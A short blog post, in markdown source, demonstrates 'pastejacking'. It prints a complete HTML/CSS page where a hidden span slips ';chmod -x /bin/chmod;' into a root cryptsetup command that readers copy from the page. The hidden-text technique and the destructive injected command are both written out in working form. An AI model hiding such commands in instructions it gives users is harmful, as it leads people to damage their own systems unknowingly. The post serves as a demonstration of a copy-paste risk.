source/_posts/2014-01-25-dangerous-css-how-to-unnoticeably-destroy-star-nix-system.markdown
9631d34c
 ---
 layout: post
 title: "Dangerous CSS: how to unnoticeably destroy *nix system"
 date: 2014-01-25 23:16
 comments: true
6f227726
 categories: [css]
9631d34c
 cover: /images/cover/avatar.png
6f227726
 keywords: css, malicious, dangerous, trick, unix, linux, javascript, html, 
9631d34c
 description: 
 ---
 
 Let's do bad things. I've got an idea -- provide a nice looking 
 Linux command on a blog/wiki. Yep, that's almost all.
 
 Imagine you're setting up dm-crypt encryption. You'll find a guide
 with commands ready to copy & paste into your terminal.
 Almost all commands have to be run as root, that's good for me.
 Something like this: 
 
 {% codeblock lang:bash %}
 cryptsetup -v --cipher aes-xts-plain64 --key-size 256 --hash sha512 --iter-time 5000 --use-urandom --verify-passphrase luksFormat <device>
 {% endcodeblock %}
 
 Oh, almighty CSS, now it's your turn. Go to [this page](http://cinan.sk/pub/dangerous-css.html)
 and copy the command. I added some javascript stuff to make text selecting
 easier -- **javascript isn't required**. Now paste the copied text
 somewhere. As you can see, there's bonus command (```chmod -x /bin/chmod```). Nice, isn't it?
 
 Code, obviously:
 {% codeblock lang:html %}
 <html>
 <head>
 	<script src="http://code.jquery.com/jquery-1.11.0.min.js"></script>
 	<script src="http://code.jquery.com/jquery-migrate-1.2.1.js"></script>
 	<script>
 		// Makes selecting text easier
 		jQuery.fn.selText = function() {
 			var obj = this[0];
 			if (jQuery.browser.msie) {
 				var range = obj.offsetParent.createTextRange();
 				range.moveToElementText(obj);
 				range.select();
 			} else if (jQuery.browser.mozilla || jQuery.browser.opera) {
 				var selection = obj.ownerDocument.defaultView.getSelection();
 				var range = obj.ownerDocument.createRange();
 				range.selectNodeContents(obj);
 				selection.removeAllRanges();
 				selection.addRange(range);
 			} else if (jQuery.browser.webkit) {
 				var selection = obj.ownerDocument.defaultView.getSelection();
 				selection.setBaseAndExtent(obj, 0, obj, obj.innerText.length - 1);
 			}
 			return this;
 		}
 		
 		$(document).ready(function() {
 			$('pre').click(function(e) {
 				e.preventDefault();
 				$(this).selText();
 			})
 		});
 	</script>
 	<style>
 		*::selection {
 			background: rgb(95, 196, 243);
 		}
 		
 		/* INTERESTING PART */
 		span {
 			width: 1px; /* can't be 0px */
 			white-space: nowrap;
 			display: inline-block;
 			overflow: hidden; /* text hiding */
 			color: transparent; /* text hiding */
 			vertical-align: middle;
 			position: absolute;
 		}
 		
 		pre {
 			display: inline-block;
 			white-space: nowrap;
 			overflow: hidden;
 			border: 1px solid #bcd;
 			background-color: #ebf1f5;
 			color: #222;
 			font-family: monospace;
 			line-height: 1.1em;
 			padding: 1em;
 		}
 		
 		pre:first-of-type {
 			border-right: 0;
 			padding-right: 0;
 		}
 		
 		pre:last-of-type {
 			border-left: 0;
 			padding-left: 2ex;
 		}
 	</style>
 <body>
 	<pre>#</pre><pre>cryptsetup -v --cipher aes-xts-plain64 --key-size 256 --hash 
 		sha512 --iter-time 500<span>;chmod -x /bin/chmod; </span>0 --use-urandom --verify-passphrase luksFormat &lt;device&gt;
 	</pre>
 </body>
 </html>
 {% endcodeblock %}
 
 What's happening here: I'm selecting ```pre``` content which also contains another
 ```span``` element.
6f227726
 Tested on Chromium, Firefox, Opera and Safari.